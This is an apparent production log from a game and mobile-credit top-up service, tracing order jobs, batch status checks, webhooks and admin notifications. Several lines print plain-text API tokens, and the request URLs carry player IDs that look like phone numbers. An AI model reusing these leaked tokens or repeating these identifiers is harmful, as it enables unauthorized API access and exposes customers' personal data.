[2026-03-24 13:20:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"Mdr4IumiDWqPqn78ie2ppCrK6aa8p7UW","execution_time":"2026-03-24 13:20:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-uP2R-1774347542","operation_id":163580,"processed":2,"errors":0} 
[2026-03-24 13:20:03] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"Mdr4IumiDWqPqn78ie2ppCrK6aa8p7UW","execution_time":"2026-03-24 13:20:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-uP2R-1774347542","operation_id":163580} 
[2026-03-24 13:20:03] production.INFO: Executing GetProducts task...  
[2026-03-24 13:20:03] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 13:20:03] production.INFO: Executing GetProducts task...  
[2026-03-24 13:20:05] production.INFO: async() رجع: true  
[2026-03-24 13:20:05] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 13:20:05] production.WARNING: Product with ID 395 not found  
[2026-03-24 13:20:06] production.WARNING: Product with ID 213 not found  
[2026-03-24 13:20:06] production.WARNING: Product with ID 212 not found  
[2026-03-24 13:20:06] production.WARNING: Product with ID 211 not found  
[2026-03-24 13:20:06] production.WARNING: Product with ID 210 not found  
[2026-03-24 13:20:06] production.WARNING: Product with ID 209 not found  
[2026-03-24 13:20:06] production.WARNING: Product with ID 214 not found  
[2026-03-24 13:20:06] production.WARNING: Product with ID 215 not found  
[2026-03-24 13:20:06] production.WARNING: Product with ID 216 not found  
[2026-03-24 13:20:06] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 13:20:06] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 1  
[2026-03-24 13:20:06] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 5  
[2026-03-24 13:20:06] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 6  
[2026-03-24 13:20:06] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 7  
[2026-03-24 13:20:06] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 8  
[2026-03-24 13:20:06] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 9  
[2026-03-24 13:20:06] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 10  
[2026-03-24 13:20:06] production.INFO: UnifiedNotificationService: Sent to 7 admins with permission 'view balance requests'  
[2026-03-24 13:20:06] production.INFO: NotifyAdminsOfPendingRequest: Notifications sent via unified service {"request_id":18612,"user_id":620,"amount":998.0,"admins_notified":7} 
[2026-03-24 13:20:06] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1032  
[2026-03-24 13:20:06] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 43  
[2026-03-24 13:20:06] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 43  
[2026-03-24 13:20:23] production.INFO: SendAcceptReject: Notification queued {"user_id":314,"notification_type":"order_approved","reference_id":178642} 
[2026-03-24 13:20:24] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 314  
[2026-03-24 13:20:40] production.INFO: Creating credit request {"payload":{"method_id":"9","amount":"998.0","mainamount":"998","operation_number":"600430781696","currency_id":"2","file":{"Illuminate\\Http\\UploadedFile":"/tmp/phpp94bkpafdi8e6VMXL1k"}},"user_id":620} 
[2026-03-24 13:20:48] production.INFO: Constructing job for order: 178658  
[2026-03-24 13:20:51] production.INFO: Handling job for order: 178658  
[2026-03-24 13:20:51] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 13:20:51] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 13:20:51] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/10/params?qty=1&uuid=9e7e2c92-b872-486d-8321-ba9c568244b4&Player_ID=0948398502  
[2026-03-24 13:20:51] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/10/params?qty=1&uuid=9e7e2c92-b872-486d-8321-ba9c568244b4&Player_ID=0948398502","has_body":false} 
[2026-03-24 13:20:52] production.INFO: SendAcceptReject: Notification queued {"user_id":587,"notification_type":"order_approved","reference_id":178651} 
[2026-03-24 13:20:53] production.INFO: Operation sent successfully {"operation_id":163581,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-J36F-1774347653","amount":105.533600000000006957634468562901020050048828125,"status":"processing","product":"100 Units MTN","game":"MTN UNITS","notes":[],"created_at":"2026-03-24 13:20:53"}},"processed_data":{"order_number":"ORD-J36F-1774347653","amount":105.533600000000006957634468562901020050048828125,"status":"processing","product":"100 Units MTN","game":"MTN UNITS"}} 
[2026-03-24 13:20:55] production.ERROR: FCM send failed for token 127: Requested entity was not found.  
[2026-03-24 13:21:14] production.INFO: SendAcceptReject: Notification queued {"user_id":1285,"notification_type":"request_approved","reference_id":18609} 
[2026-03-24 13:21:16] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1285  
[2026-03-24 13:21:33] production.INFO: SendAcceptReject: Notification queued {"user_id":1718,"notification_type":"request_approved","reference_id":18610} 
[2026-03-24 13:21:34] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1718  
[2026-03-24 13:21:43] production.INFO: SendAcceptReject: Notification queued {"user_id":212,"notification_type":"request_approved","reference_id":18611} 
[2026-03-24 13:21:43] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 212  
[2026-03-24 13:22:01] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"sNqRfQpQ5T19RMMWYAiJHZJYOZZX1Cql","execution_time":"2026-03-24 13:22:01"} 
[2026-03-24 13:22:01] production.INFO: Found pending operations {"job":"Quryjob","job_id":"sNqRfQpQ5T19RMMWYAiJHZJYOZZX1Cql","execution_time":"2026-03-24 13:22:01","total_operations":1,"sites_count":1} 
[2026-03-24 13:22:01] production.INFO: Processing site batch {"job":"Quryjob","job_id":"sNqRfQpQ5T19RMMWYAiJHZJYOZZX1Cql","execution_time":"2026-03-24 13:22:01","site_id":4,"site_name":"swgamessls","orders_count":1,"order_ids":["ORD-J36F-1774347653"]} 
[2026-03-24 13:22:01] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"sNqRfQpQ5T19RMMWYAiJHZJYOZZX1Cql","execution_time":"2026-03-24 13:22:01","site_id":4,"site_name":"swgamessls"} 
[2026-03-24 13:22:01] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"sNqRfQpQ5T19RMMWYAiJHZJYOZZX1Cql","execution_time":"2026-03-24 13:22:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 13:22:01] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"sNqRfQpQ5T19RMMWYAiJHZJYOZZX1Cql","execution_time":"2026-03-24 13:22:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-J36F-1774347653","operation_id":163581,"processed":1,"skipped":0,"updates_prepared":1} 
[2026-03-24 13:22:01] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"sNqRfQpQ5T19RMMWYAiJHZJYOZZX1Cql","execution_time":"2026-03-24 13:22:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-J36F-1774347653","operation_id":163581,"total_items":1,"chunks":1,"chunk_size":10} 
[2026-03-24 13:22:01] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"sNqRfQpQ5T19RMMWYAiJHZJYOZZX1Cql","execution_time":"2026-03-24 13:22:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-J36F-1774347653","operation_id":163581,"count":1} 
[2026-03-24 13:22:01] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"sNqRfQpQ5T19RMMWYAiJHZJYOZZX1Cql","execution_time":"2026-03-24 13:22:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-J36F-1774347653","operation_id":163581,"count":1} 
[2026-03-24 13:22:01] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"sNqRfQpQ5T19RMMWYAiJHZJYOZZX1Cql","execution_time":"2026-03-24 13:22:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-J36F-1774347653","operation_id":163581,"user_id":1320,"notification_type":"order_approved","reference_id":178658} 
[2026-03-24 13:22:01] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"sNqRfQpQ5T19RMMWYAiJHZJYOZZX1Cql","execution_time":"2026-03-24 13:22:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-J36F-1774347653","operation_id":163581,"chunk_number":1,"processed":1,"errors":0,"total_operations":1,"total_orders":1,"total_codes":0,"total_refunds":0} 
[2026-03-24 13:22:01] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"sNqRfQpQ5T19RMMWYAiJHZJYOZZX1Cql","execution_time":"2026-03-24 13:22:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-J36F-1774347653","operation_id":163581,"total_processed":1,"total_errors":0,"chunks_processed":1} 
[2026-03-24 13:22:01] production.INFO: Batch update completed {"job":"Quryjob","job_id":"sNqRfQpQ5T19RMMWYAiJHZJYOZZX1Cql","execution_time":"2026-03-24 13:22:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-J36F-1774347653","operation_id":163581,"processed":1,"errors":0} 
[2026-03-24 13:22:01] production.INFO: Batch query completed {"job":"Quryjob","job_id":"sNqRfQpQ5T19RMMWYAiJHZJYOZZX1Cql","execution_time":"2026-03-24 13:22:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-J36F-1774347653","operation_id":163581,"processed":1,"errors":0} 
[2026-03-24 13:22:01] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"sNqRfQpQ5T19RMMWYAiJHZJYOZZX1Cql","execution_time":"2026-03-24 13:22:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-J36F-1774347653","operation_id":163581} 
[2026-03-24 13:22:01] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1320  
[2026-03-24 13:22:03] production.INFO: SendAcceptReject: Notification queued {"user_id":620,"notification_type":"request_approved","reference_id":18612} 
[2026-03-24 13:22:04] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 620  
[2026-03-24 13:22:41] production.INFO: Constructing job for order: 178659  
[2026-03-24 13:22:43] production.INFO: Handling job for order: 178659  
[2026-03-24 13:22:43] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 13:22:43] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 13:22:43] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/94/params?qty=7000&uuid=2ac02f81-3f62-4553-937e-c1e9b4b6f4fc&Player_ID=48662314  
[2026-03-24 13:22:43] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/94/params?qty=7000&uuid=2ac02f81-3f62-4553-937e-c1e9b4b6f4fc&Player_ID=48662314","has_body":false} 
[2026-03-24 13:22:44] production.INFO: Operation sent successfully {"operation_id":163582,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-k2zwV2qC-1774347764","amount":12.0253923999999994265408531646244227886199951171875,"status":"processing","product":"Soulchill Amount","game":"SoulChill","notes":[],"created_at":"2026-03-24 13:22:44"}},"processed_data":{"order_number":"ORD-k2zwV2qC-1774347764","amount":12.0253923999999994265408531646244227886199951171875,"status":"processing","product":"Soulchill Amount","game":"SoulChill"}} 
[2026-03-24 13:23:16] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-k2zwV2qC-1774347764","status":"completed","notes":["-","جميع العمليات اكتملت بنجاح"],"codes":[]}} 
[2026-03-24 13:23:16] production.INFO: Processed webhook data (normalized) {"id":"ORD-k2zwV2qC-1774347764","status":"completed","codes":[],"notes":["-","جميع العمليات اكتملت بنجاح"]} 
[2026-03-24 13:23:16] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 13:23:16] production.INFO: SendAcceptReject: Notification queued {"user_id":1032,"notification_type":"order_approved","reference_id":178659} 
[2026-03-24 13:23:16] production.INFO: Order updated successfully. Order ID: 178659, Status: completed  
[2026-03-24 13:23:16] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-k2zwV2qC-1774347764","status":"completed","codes_count":0} 
[2026-03-24 13:23:17] production.INFO: Constructing job for order: 178660  
[2026-03-24 13:23:17] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1032  
[2026-03-24 13:23:20] production.INFO: Handling job for order: 178660  
[2026-03-24 13:23:20] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 13:23:20] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 13:23:20] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/564/params?qty=30000&uuid=abaf02b9-7941-45d3-8c12-e52c16b4ac93&Player_ID=214531413  
[2026-03-24 13:23:20] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/564/params?qty=30000&uuid=abaf02b9-7941-45d3-8c12-e52c16b4ac93&Player_ID=214531413","has_body":false} 
[2026-03-24 13:23:21] production.INFO: Operation sent successfully {"operation_id":163583,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-qhrAaRp0-1774347801","amount":4.1442779999999999063220457173883914947509765625,"status":"processing","product":"Sugo Amount","game":"Sugo","notes":[],"created_at":"2026-03-24 13:23:21"}},"processed_data":{"order_number":"ORD-qhrAaRp0-1774347801","amount":4.1442779999999999063220457173883914947509765625,"status":"processing","product":"Sugo Amount","game":"Sugo"}} 
[2026-03-24 13:23:39] production.INFO: Creating credit request {"payload":{"method_id":"13","amount":"1000.0","mainamount":"1000","operation_number":"158183224","currency_id":"2","file":{"Illuminate\\Http\\UploadedFile":"/tmp/phpj006uc6tf5ua1aHWmEm"}},"user_id":43} 
[2026-03-24 13:23:39] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 1  
[2026-03-24 13:23:39] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 5  
[2026-03-24 13:23:39] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 6  
[2026-03-24 13:23:39] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 7  
[2026-03-24 13:23:39] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 8  
[2026-03-24 13:23:39] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 9  
[2026-03-24 13:23:39] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 10  
[2026-03-24 13:23:39] production.INFO: UnifiedNotificationService: Sent to 7 admins with permission 'view balance requests'  
[2026-03-24 13:23:39] production.INFO: NotifyAdminsOfPendingRequest: Notifications sent via unified service {"request_id":18613,"user_id":43,"amount":1000.0,"admins_notified":7} 
[2026-03-24 13:24:03] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"WPmTaSC5E2CvvkfeWEfg2TadGbYjYsox","execution_time":"2026-03-24 13:24:03"} 
[2026-03-24 13:24:03] production.INFO: Found pending operations {"job":"Quryjob","job_id":"WPmTaSC5E2CvvkfeWEfg2TadGbYjYsox","execution_time":"2026-03-24 13:24:03","total_operations":1,"sites_count":1} 
[2026-03-24 13:24:03] production.INFO: Processing site batch {"job":"Quryjob","job_id":"WPmTaSC5E2CvvkfeWEfg2TadGbYjYsox","execution_time":"2026-03-24 13:24:03","site_id":3,"site_name":"swgamessd","orders_count":1,"order_ids":["ORD-qhrAaRp0-1774347801"]} 
[2026-03-24 13:24:03] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"WPmTaSC5E2CvvkfeWEfg2TadGbYjYsox","execution_time":"2026-03-24 13:24:03","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 13:24:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"WPmTaSC5E2CvvkfeWEfg2TadGbYjYsox","execution_time":"2026-03-24 13:24:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 13:24:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"WPmTaSC5E2CvvkfeWEfg2TadGbYjYsox","execution_time":"2026-03-24 13:24:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-qhrAaRp0-1774347801","operation_id":163583,"processed":1,"skipped":0,"updates_prepared":1} 
[2026-03-24 13:24:03] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"WPmTaSC5E2CvvkfeWEfg2TadGbYjYsox","execution_time":"2026-03-24 13:24:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-qhrAaRp0-1774347801","operation_id":163583,"total_items":1,"chunks":1,"chunk_size":10} 
[2026-03-24 13:24:03] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"WPmTaSC5E2CvvkfeWEfg2TadGbYjYsox","execution_time":"2026-03-24 13:24:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-qhrAaRp0-1774347801","operation_id":163583,"count":1} 
[2026-03-24 13:24:03] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"WPmTaSC5E2CvvkfeWEfg2TadGbYjYsox","execution_time":"2026-03-24 13:24:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-qhrAaRp0-1774347801","operation_id":163583,"count":1} 
[2026-03-24 13:24:03] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"WPmTaSC5E2CvvkfeWEfg2TadGbYjYsox","execution_time":"2026-03-24 13:24:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-qhrAaRp0-1774347801","operation_id":163583,"user_id":212,"notification_type":"order_approved","reference_id":178660} 
[2026-03-24 13:24:03] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"WPmTaSC5E2CvvkfeWEfg2TadGbYjYsox","execution_time":"2026-03-24 13:24:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-qhrAaRp0-1774347801","operation_id":163583,"chunk_number":1,"processed":1,"errors":0,"total_operations":1,"total_orders":1,"total_codes":0,"total_refunds":0} 
[2026-03-24 13:24:03] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"WPmTaSC5E2CvvkfeWEfg2TadGbYjYsox","execution_time":"2026-03-24 13:24:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-qhrAaRp0-1774347801","operation_id":163583,"total_processed":1,"total_errors":0,"chunks_processed":1} 
[2026-03-24 13:24:03] production.INFO: Batch update completed {"job":"Quryjob","job_id":"WPmTaSC5E2CvvkfeWEfg2TadGbYjYsox","execution_time":"2026-03-24 13:24:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-qhrAaRp0-1774347801","operation_id":163583,"processed":1,"errors":0} 
[2026-03-24 13:24:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"WPmTaSC5E2CvvkfeWEfg2TadGbYjYsox","execution_time":"2026-03-24 13:24:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-qhrAaRp0-1774347801","operation_id":163583,"processed":1,"errors":0} 
[2026-03-24 13:24:03] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"WPmTaSC5E2CvvkfeWEfg2TadGbYjYsox","execution_time":"2026-03-24 13:24:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-qhrAaRp0-1774347801","operation_id":163583} 
[2026-03-24 13:24:03] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 212  
[2026-03-24 13:24:04] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-qhrAaRp0-1774347801","status":"completed","notes":["جميع العمليات اكتملت بنجاح"],"codes":[]}} 
[2026-03-24 13:24:04] production.INFO: Processed webhook data (normalized) {"id":"ORD-qhrAaRp0-1774347801","status":"completed","codes":[],"notes":["جميع العمليات اكتملت بنجاح"]} 
[2026-03-24 13:24:04] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 13:24:04] production.ERROR: Order not found or already processed. External ID: ORD-qhrAaRp0-1774347801  
[2026-03-24 13:24:04] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-qhrAaRp0-1774347801","status":"completed","codes_count":0} 
[2026-03-24 13:24:19] production.INFO: Constructing job for order: 178661  
[2026-03-24 13:24:21] production.INFO: Handling job for order: 178661  
[2026-03-24 13:24:21] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 13:24:21] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 13:24:21] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/572/params?qty=2000&uuid=8f0b3749-095e-4822-b36d-773fb97a2410&Player_ID=471156  
[2026-03-24 13:24:21] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/572/params?qty=2000&uuid=8f0b3749-095e-4822-b36d-773fb97a2410&Player_ID=471156","has_body":false} 
[2026-03-24 13:24:22] production.INFO: Operation sent successfully {"operation_id":163584,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-l2mJFmZ9-1774347862","amount":1.8182636000000000908727315618307329714298248291015625,"status":"processing","product":"Dimo Amount","game":"Dimo","notes":[],"created_at":"2026-03-24 13:24:22"}},"processed_data":{"order_number":"ORD-l2mJFmZ9-1774347862","amount":1.8182636000000000908727315618307329714298248291015625,"status":"processing","product":"Dimo Amount","game":"Dimo"}} 
[2026-03-24 13:24:26] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-l2mJFmZ9-1774347862","status":"completed","notes":["جميع العمليات اكتملت بنجاح"],"codes":[]}} 
[2026-03-24 13:24:26] production.INFO: Processed webhook data (normalized) {"id":"ORD-l2mJFmZ9-1774347862","status":"completed","codes":[],"notes":["جميع العمليات اكتملت بنجاح"]} 
[2026-03-24 13:24:26] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 13:24:26] production.INFO: SendAcceptReject: Notification queued {"user_id":107,"notification_type":"order_approved","reference_id":178661} 
[2026-03-24 13:24:26] production.INFO: Order updated successfully. Order ID: 178661, Status: completed  
[2026-03-24 13:24:26] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-l2mJFmZ9-1774347862","status":"completed","codes_count":0} 
[2026-03-24 13:24:28] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 107  
[2026-03-24 13:25:01] production.INFO: Executing GetProducts task...  
[2026-03-24 13:25:01] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 13:25:01] production.INFO: Executing GetProducts task...  
[2026-03-24 13:25:03] production.INFO: Constructing job for order: 178662  
[2026-03-24 13:25:03] production.INFO: async() رجع: true  
[2026-03-24 13:25:03] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 13:25:04] production.WARNING: Product with ID 395 not found  
[2026-03-24 13:25:04] production.WARNING: Product with ID 213 not found  
[2026-03-24 13:25:04] production.WARNING: Product with ID 212 not found  
[2026-03-24 13:25:04] production.WARNING: Product with ID 211 not found  
[2026-03-24 13:25:04] production.WARNING: Product with ID 210 not found  
[2026-03-24 13:25:04] production.WARNING: Product with ID 209 not found  
[2026-03-24 13:25:04] production.WARNING: Product with ID 214 not found  
[2026-03-24 13:25:04] production.WARNING: Product with ID 215 not found  
[2026-03-24 13:25:04] production.WARNING: Product with ID 216 not found  
[2026-03-24 13:25:05] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 13:25:05] production.INFO: Handling job for order: 178662  
[2026-03-24 13:25:05] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 13:25:05] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 13:25:05] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/36/params?qty=1&uuid=9fd2dc5c-bfb5-45cb-b83e-ac3c79d46ecf&Player_ID=0993179574  
[2026-03-24 13:25:05] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/36/params?qty=1&uuid=9fd2dc5c-bfb5-45cb-b83e-ac3c79d46ecf&Player_ID=0993179574","has_body":false} 
[2026-03-24 13:25:06] production.INFO: Operation sent successfully {"operation_id":163585,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-L7R-1774347906","amount":65.9585000000000007958078640513122081756591796875,"status":"processing","product":"62.50 Units SYR","game":"SYRIATEL UNITS","notes":[],"created_at":"2026-03-24 13:25:06"}},"processed_data":{"order_number":"ORD-L7R-1774347906","amount":65.9585000000000007958078640513122081756591796875,"status":"processing","product":"62.50 Units SYR","game":"SYRIATEL UNITS"}} 
[2026-03-24 13:25:18] production.INFO: Constructing job for order: 178663  
[2026-03-24 13:25:21] production.INFO: Handling job for order: 178663  
[2026-03-24 13:25:21] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 13:25:21] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 13:25:21] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/31/params?qty=1&uuid=b3bc8252-c544-4a0d-810c-78faff9051d7&Player_ID=0993179574  
[2026-03-24 13:25:21] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/31/params?qty=1&uuid=b3bc8252-c544-4a0d-810c-78faff9051d7&Player_ID=0993179574","has_body":false} 
[2026-03-24 13:25:21] production.INFO: Operation sent successfully {"operation_id":163586,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-3BY-1774347921","amount":21.308119999999998839257386862300336360931396484375,"status":"processing","product":"20.19  Units SYR","game":"SYRIATEL UNITS","notes":[],"created_at":"2026-03-24 13:25:21"}},"processed_data":{"order_number":"ORD-3BY-1774347921","amount":21.308119999999998839257386862300336360931396484375,"status":"processing","product":"20.19  Units SYR","game":"SYRIATEL UNITS"}} 
[2026-03-24 13:25:59] production.INFO: SendAcceptReject: Notification queued {"user_id":43,"notification_type":"request_approved","reference_id":18613} 
[2026-03-24 13:26:01] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 43  
[2026-03-24 13:26:04] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"KchcxWeN1kl49Ot8E1vBuCxfDaRKvhyp","execution_time":"2026-03-24 13:26:04"} 
[2026-03-24 13:26:04] production.INFO: Found pending operations {"job":"Quryjob","job_id":"KchcxWeN1kl49Ot8E1vBuCxfDaRKvhyp","execution_time":"2026-03-24 13:26:04","total_operations":2,"sites_count":1} 
[2026-03-24 13:26:04] production.INFO: Processing site batch {"job":"Quryjob","job_id":"KchcxWeN1kl49Ot8E1vBuCxfDaRKvhyp","execution_time":"2026-03-24 13:26:04","site_id":4,"site_name":"swgamessls","orders_count":2,"order_ids":["ORD-L7R-1774347906","ORD-3BY-1774347921"]} 
[2026-03-24 13:26:04] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"KchcxWeN1kl49Ot8E1vBuCxfDaRKvhyp","execution_time":"2026-03-24 13:26:04","site_id":4,"site_name":"swgamessls"} 
[2026-03-24 13:26:04] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"KchcxWeN1kl49Ot8E1vBuCxfDaRKvhyp","execution_time":"2026-03-24 13:26:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":2} 
[2026-03-24 13:26:04] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"KchcxWeN1kl49Ot8E1vBuCxfDaRKvhyp","execution_time":"2026-03-24 13:26:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-L7R-1774347906","operation_id":163585,"processed":2,"skipped":0,"updates_prepared":2} 
[2026-03-24 13:26:04] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"KchcxWeN1kl49Ot8E1vBuCxfDaRKvhyp","execution_time":"2026-03-24 13:26:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-L7R-1774347906","operation_id":163585,"total_items":2,"chunks":1,"chunk_size":10} 
